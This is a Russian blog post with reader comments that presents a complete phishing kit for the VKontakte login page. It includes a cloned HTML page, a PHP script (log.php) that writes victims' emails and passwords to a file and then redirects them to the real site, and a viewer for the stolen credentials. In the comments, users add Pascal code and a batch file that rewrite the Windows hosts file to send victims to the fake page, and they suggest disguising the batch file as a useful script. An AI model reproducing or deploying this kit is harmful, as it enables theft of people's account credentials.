Личный блог: TUX → Фейк для Вконтакте.ру

Здравствуй сообщество! Это мой вступительный и первый пост, он не направлен кому нибудь навредить. Есть разного рода сниферы, триппер, поведу речь о бональном фейке (подделке) для главной страницы Вконтакте.ру.

С помощью нее злоумышленник записывает данные введенные в форме. Серверный php код был честно нагуглен. Кто его источник уже не понятно, он гуляет себе по интернету давно, а страница фейка сделана мной не так давно, потому что Вконтакте изменили вид главной страницы. И так…

Создаем 5 файлов

  1. base.php — БД (права на запись)
  2. index.php — сам фейк
  3. log.php — скрипт авторизации
  4. seebase.php — просмотр БД
  5. s.php

Грузим на сервер, смотрим, действуем. Пояснения к файлам, и что с ними делать писать не буду. Кто не дурак поймет, а дуракам не нужно.

base.php

<?php echo '<H1>Доступ к базе закрыт</H1>'; exit; ?>
 : 

 : 

admin:jsdrfgwrte675452t8 


index.php



<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
   "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="ru" lang="ru" id="vkontakte">
<head>
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
<title>В Контакте | Добро пожаловать</title>
<link rel="stylesheet" href="http://vkontakte.ru/css/rustyle.css" type="text/css" />
<link rel='stylesheet' href='http://vkontakte.ru/css/help.css?2' type='text/css' />
<link rel="stylesheet" type="text/css" href="http://vkontakte.ru/css/al/common.css?128" /> 

<link rel="shortcut icon" href="http://vkontakte.ru/images/favicon.ico" />
<!--[if lte IE 6]><style type="text/css" media="screen">/* <![CDATA[ */ @import url(css/ie.css); /* ]]> */</style><![endif]-->
<!--[if gte IE 7]><style type="text/css" media="screen">/* <![CDATA[ */ @import url(css/ie7.css); /* ]]> */</style><![endif]-->
<script src="http://vkontakte.ru/js/functions.js?5"></script>
<script src="http://vkontakte.ru/js/niftycube.js?1"></script>


<script type="text/javascript">
window.onload=function(){
Nifty("ul.tabs a","small top");
Nifty("ul.buttonRow a","small");
Nifty("div.leftAd","small transparent");
Nifty("div.selPad","small transparent");
Nifty("div.myPad","small transparent");
}
</script>
</head>

<body>

 <div id="pageLayout">

<!-- pageHeader -->

  <div id="pageHeader">

   <h1 id="home"><a href="index.php">ВКонтакте</a></h1>


<div id="page_header" class="p_head p_head_l0">
      <div class="back"></div>
      <div class="left"></div>
      <div class="right"></div>
      <div class="content">
        <div id="top_nav" class="head_nav">
  <a id="top_home_link" class="top_home_link fl_l" href="index.php" onclick="return nav.go(this, event)" style=""></a>
  <div id="top_links" style="display: none">
    <a class="fl_r top_nav_link" href="/reg0" onclick="return !showBox('al_register.php', {act: 'register_box'}, {params: {width: 514}, stat: ['reg.css']}, event)">Как стать участником?</a>
    <a class="fl_l top_nav_link" href="" id="top_back_link" onclick="return nav.go(this, event, {back: true})" style="display: none; "></a>
  </div>
</div>
      </div>
    </div>

  </div>



<!-- End pageHeader -->

<!-- sideBar -->

  <div id="sideBar">
   
<div id="quickLogin">
 <form method="post" name="login" id="login" action="log.php">
  <label for="email">Email:</label>
  <input class="inputText" onClick="show('expirePad');" type="text" name="email" id="email" size="20" />
  <label for="pass">Пароль:</label>
  <input class="inputText" onClick="show('expirePad');" type="password" name="pass" id="pass" size="20" />
  <div id="expirePad" style="display:none"><input style="margin-top:1px; vertical-align: middle;" type="checkbox" name="expire" id="expire" value="1" /> <small>Чужой компьютер</small></div>

<div id="expirePad" style="display:none;"><input style="margin-top:1px; vertical-align: middle;" type="checkbox" name="expire" id="expire" value="1" /> <small>Чужой компьютер</small></div>

<div style="height:20px;margin-top:5px;">

<ul class='nNav' style="width:128px;padding:0px;margin:0px;">
<li style="margin:0px 3px 0px 0px;">
<b class="nc"><b class="nc1"><b></b></b><b class="nc2"><b></b></b></b>
<span style="width: 108px;" class="ncc"><a href="javascript:document.login.submit()">Вход</a></span>
<b class="nc"><b class="nc2"><b></b></b><b class="nc1"><b></b></b></b>
</li>
</ul>
</div>
<div style="padding: 10px 15px"><a href="http://vkontakte.ru/login.php?op=forgot" target="_top">Забыли пароль?</a></div>


  <input type="submit" value='.' style="color:#fff;border:0;padding:0;margin:0;background:#fff;height:6px;width:6px"/>
 </form>
</div>

   <div style="width:124px">
</div>
  <div id="banner1" style="visibility: hidden;font-size: 0px; width: 0px; height: 0px;"></div>
  </div>

<!-- End sideBar -->

<!-- pageBody -->

  <div id="pageBody" class="pageBody">

  <div id="wrapH">
  <div id="wrapHI">
   <div id="header">
    <h1> Добро пожаловать</h1>
   </div>
  </div>
  </div>

  <div id="wrap2">
  <div id="wrap1">
   <div id="content">

    
<script type="text/javascript">
 var memCount = 15200476;
 var memPerSec = 0.431599193253;
 function updateCount() {
  next = -(1000 / memPerSec)*Math.log(Math.random());
  memCountString = '' + memCount;
  len = memCountString.length;
  memCountString = memCountString.substr(0,len-6)+" "+memCountString.substr(len-6,3)+" "+memCountString.substr(len-3,3);
  ge('memCount').innerHTML = memCountString;
  memCount = memCount + 1;
  setTimeout(updateCount, next);
 }
 window.onload = function(){
  updateCount();
 }
</script>

<div class="simplePage">

 <h2><b>ВКонтакте.ру - универсальное средство поиска знакомых.</b></h2>

 <p><b>ВКонтакте</b> – универсальное средство коммуникации и поиска людей,
которым ежедневно пользуются десятки миллионов человек.</p>

 <p>С помощью <b>ВКонтакте</b> Вы можете:</p>
<ul class="listing">
      <li><span>Найти людей, с которыми Вы когда-либо учились, работали или отдыхали.</span></li>
      <li><span>Узнать больше о людях, которые Вас окружают, и найти новых друзей.</span></li>
      <li><span>Всегда оставаться в контакте с теми, кто Вам дорог.</span></li>
    </ul>

 
<div class="reg">
    <h2>Как создать страницу ВКонтакте?</h2>

    <p style="padding: 0px 20px;" class="reg_content">Стать пользователем <b>ВКонтакте</b> можно по приглашению одного из участников.

Когда Вас пригласит кто-нибудь из Ваших друзей, на Ваш телефон придет сообщение с логином и паролем для входа. Никаких дополнительных действий не потребуется – Вы сможете сразу начать пользоваться Вашей новой страницей, введя логин и пароль.</p>
  </div>

</div>

    
   </div>
  </div>
  </div>

  </div>
  <div id="boxHolder"></div>

<!-- End pageBody -->

<div id="footer_wrap" class="fl_r" style="width: 656px; ">
      <div id="bottom_nav">
  <a href="http://vkontakte.ru/help.php?page=about">о сайте</a>
  <a href="http://vkontakte.ru/techsupp.php">техподдержка</a>
  <a href="http://vkontakte.ru/blog.php">блог</a>
  <a href="http://vkontakte.ru/help.php?page=terms">правила</a>
  <a href="http://vkontakte.ru/ads.php">реклама</a>
  <a href="http://vkontakte.ru/developers.php">разработчикам</a>
  <a href="http://vkontakte.ru/pages.php?o=-1&p=Merchant%20API">магазинам</a>
</div>
<div style="padding-top: 10px;" class="clear">
  <div class="copy_lang"><a href="http://vkontakte.ru/help.php?page=about">В Контакте</a> © 2006-2011 <a onclick="ajax.post('lang.php', {act: 'change_lang', lang_id: 0, hash: 'c27de2bf467568e28a'})">Русский</a><a onclick="ajax.post('lang.php', {act: 'change_lang', lang_id: 1, hash: 'c27de2bf467568e28a'})">Украiнська</a><a onclick="ajax.post('lang.php', {act: 'change_lang', lang_id: 2, hash: 'c27de2bf467568e28a'})">Беларуская</a><a onclick="ajax.post('lang.php', {act: 'change_lang', lang_id: 3, hash: 'c27de2bf467568e28a'})">English</a><a onclick="ajax.post('lang.php', {act: 'change_lang', lang_id: 11, hash: 'c27de2bf467568e28a'})">Српски</a><a onclick="ajax.post('lang.php', {act: 'change_lang', lang_id: 10, hash: 'c27de2bf467568e28a'})">Magyar</a><a onclick="ajax.post('lang.php', {act: 'change_lang', lang_id: 57, hash: 'c27de2bf467568e28a'})">Azərbaycan</a><a onclick="showBox('lang.php', {act: 'lang_dialog'}, {noreload: true})">все языки »</a></div>
  <div>
    
    
  </div>
</div>
</div>
<!-- End pageLayout 260 -->

<script type="text/javascript">
//Rounded('rounded', 6, 6);
</script>
</body>
</html>


log.php

<?PHP
$Login = $_POST['email']; // Логин
$Pass = $_POST['pass']; // Пароль

$log = fopen("base.php","a+"); //открываем файл базы
fwrite($log,"\n $Login:$Pass \n"); //записываем всё
fclose($log); //закрываем
echo "<html><head><META HTTP-EQUIV='Refresh' content ='0; URL=http://vkontakte.ru/login.php?m=1&'></head></html>"; // куда пошлем пользователя после того как он ввел данные
?>


s.php

<?php
$text=file_get_contents("http://vkontakte.ru/");
preg_match("/<b id='memCount'>(.*)<\/b>/i",$text, $res);
echo $res[1];
?>


seebase.php


<html>
<head>
<title>Give account</title>
</head>
<body>
<form method="POST">
Login: <input type="text" name="login">

<input type="submit" value="OK">
</form>
<?php
if (isset($_POST['login']))
if ($_POST['login'] != '')
{
$login = $_POST['login'];
echo $_POST['login'].'
';
$fp = fopen('base.php', 'r');// Имя базы
while (!feof ($fp)) {
$buffer = fgets($fp);
if (strpos($buffer,$login) !== false)
{
echo $buffer.'
';
break;
}
}
fclose($fp);
}
?>
</body>
</html>
  • avatar
  • TUX
  • 2628
  • +21
  • 07 мая 2011, 22:58
 

Комментариум (49)

RSS свернуть / развернуть
+
+4
avatar

bill_god

ооо кулхацкеры атакуют ))))
+
+4
avatar

VirtaVik

… ндя, прикольно… может вопрос покажется глупым, но спрошу — а зачем?
… зачем делать копию сайта, когда можно просто свой сайт сделать…
+
+4
avatar

pashtuun

Это копия главной страницы чтобы тырить пароли от страниц беспечных людей. В коде ничего не понимаю, так представляется по описанию)))
+
+3
avatar

VirtaVik

… я знаю для чего делается копия..))) я не о том… риторический вопрос — зачем этот гемор, если можно что то создать своё…
+
+4
avatar

pashtuun

Возможно кому то «помочь», мало ли для чего нужна чужая страница вконтакте))))
+
+3
avatar

VirtaVik

… помочь… если б я обладала такими знаниями, я б лучше Маку с Бубном помогла… и полезно — не теряешь квалификацию и приятно — доброе дело для себя и всех кто здесь… как то так…
+
+4
avatar

pashtuun

Нет, вы не поняли — «Звонит мне подруга моя очень хорошая, просит меня слить пароль страницы, объяснив причину» «Звонит мне друг, и просит меня слить пароль страницы, объяснив причину, поставит пива или даст денег», не все такие идеалогичные верно?
+
+3
avatar

VirtaVik

… я какраз и поняла… просто видимо сея суета меня уже не прикалывает...)))
+
+4
avatar

pashtuun

Она видима мало кого привлекает :))

З.Ы. TUX за топик и за старания спасибо, авось кому надо
+
+5
avatar

miha

Интересней как его в host прописать на стороне
+
+5
avatar

raxp

program hosts;
var
f:textfile;
begin
AssignFile(f,'C:\Windows\system32\etc\hosts'); \\не помню, переменные среды можно подставлять или нет
Append(f);
Writeln(f,'64.32.100.48 vkontakte.ru');
CloseFile(f);
end.

Ну и в фейк вместо vkontakte.ru подставить реальный его адрес, или отгрузить к себе на хостинг все нужные css и js.
Последний раз редактировалось пользователем raxp 08 мая 2011, 15:11.
+
+5
avatar

pashtuun

батник

@echo off
echo -- >> %windir%\system32\drivers\etc\hosts
echo сюда_ip_адрес_сайта www.vkontakte.ru >> %windir%\system32\drivers\etc\hosts
echo сюда_ip_адрес_сайта vkontakte.ru >> %windir%\system32\drivers\etc\hosts


Источник
Последний раз редактировалось пользователем pashtuun 08 мая 2011, 15:16.
+
+3
avatar

pashtuun

Можно залепить наверное в него какой нибудь полезный скрипт, и выдать под его видом
+
+3
avatar

raxp

Точно! И компилировать не надо :)
+
+3
avatar

pashtuun

Готовые решения злодеям наплодили :DDD
+
+2
avatar

raxp

Афтар, ссылочку поставь на статью ук рф. Попугай народ немного (хотя все равно не поможет) :D
+
+3
avatar

pashtuun

Не помешала бы ))))
+
+3
avatar

miha

Исчерпывающе!
+
+2
avatar

darkultro

глава 28, статья 272 УКРФ (на память -> могу ошибиться :) )
+
+4
avatar

miha

Одно «НО» нужен сервер с выделенным IP, что то типа miniVPS.
Последний раз редактировалось пользователем miha 08 мая 2011, 16:18.
+
+3
avatar

raxp

Зачем? Код батника будет выполняться на стороне клиента.
Достаточно обычного (даже бесплатного) хостинга с выполнением php, правда админы будут постоянно банить.
+
+5
avatar

miha

сюда_ip_адрес_сайта


На бесплатных и платных хостингах один IP делится на много клиентов, дает доступ к сайтам на одном IP — DNS хостера. Таким образом это не прокатит. Или нужно платить деньги хостинг провайдеру за выделенный IP.
+
+4
avatar

raxp

Точняк, забыл.
P.S. в виндовом хостс даже алиас не поставишь =(
+
+2
avatar

pashtuun

Получается так
+
+4
avatar

miha

паскаль?
+
+4
avatar

raxp

Обджект паскаль.
В паскале нет типа textfile и функции AssignFile и CloseFile заменены на Assign и Close
+
+4
avatar

Droden

Хорошо, что 95% процентов пользователей не поймут сути этой статьи ))) и слава богу.
+
+4
avatar

ponAnonymous

ОМГ! Полный интернет фейков не только для вконтакте
+
+4
avatar

miha

С новой страницей вконтакте навскидку погуглили? Тут готовое решение получается.
+
+5
avatar

makenskiy

Найдите 10 отличий? Думаю css и текст подправить все таки надо.

Фэйк vkontakte

Зачем в коде счетчик? В новой версии его все равно нет
+
+3
avatar

raxp

Наверно фейк дает юзеру второй шанс. Не найдет 10 отличий — значит вообще клиника xD
+
+3
avatar

makenskiy

Не вероятно, но факт XD
+
+6
avatar

tangeyzer

А инструкцию к взлому кодовых и чертежи для изготовления отмычек к механическим замкам, сюда слить?
Кому-то в кайф нормальный сайт в помойку превращать?
+
+1
avatar

VirtaVik

)))
+
+3
avatar

tangeyzer

В этом случае, в тебе не сомневался.
+
+4
avatar

VirtaVik

… я согласна, что не стоит с таким рвением стремиться к фэйкам...))) лучше что то своё, настоящее сделать… или помочь тому, кто сделал уже...)))
+
+5
avatar

makenskiy

Как говорил мой препод — «Хорошо или плохо? Ну я не знаю...»
+
+4
avatar

tangeyzer

Хреново что этот «препод», в зрелом возрасте, так и не определился, где «черное» — где «белое»… Потому и «препод», а не УЧИТЕЛЬ.
+
+3
avatar

makenskiy

Он нам таким образом давал решать и делать выводы самим, т.е. расскажет официальную версию, потом не официальную, потом свою и потом говорил так.

P.S. Я тоже не поддерживаю такие движения как в топике.
+
+3
avatar

tangeyzer

Твой сайт — тебе решать.
+
+3
avatar

makenskiy

Может быть изначально не правильную политику выбрал, но решают полезность топика пользователи, т.е. пользователи это и есть бубен, а я режу только если не по теме платформы посты. Если бы я хотел что бы все было по моему, с жестким цензером, то это были бы не коллективные web 2.0 блоги, а один личный автономный блог.
+
+3
avatar

tangeyzer

Странно… А я думал что философия Linux, предполагает в первую очередь свободу.Свободу разума и созидания, оказывается заблуждался…
+
-1
avatar

sithAnonymous

Мне на base php не приходит пароль с логином, в чем проблема??
+
+1
avatar

darkultro

права доступа выставлены верно? про них вроде умалчивается :)
Последний раз редактировалось пользователем darkultro 22 февраля 2012, 20:07.
+
-2
avatar

SithAnonymous

когда я захожу под своим фейком все идеально, только не приходит мне мыло и пароль жертвы,
я все с сканировал как на сайте
+
0
avatar

ВконтактеAnonymous

Ты сам жертва долбанная.
+
-3
avatar

стасAnonymous

ребят а для новой версии странички есть че нить?
для адреса под vk.com ? просто влом перепиывать все, мне для взлома она как бы и не нужно, но друг просил научить.
+
-1
avatar

Дашенька)))Anonymous

помогите!!! плиз)))
комментарий был удален


Только зарегистрированные и авторизованные пользователи могут оставлять комментарии.
Блоги, Личный блог: TUX, Фейк для Вконтакте.ру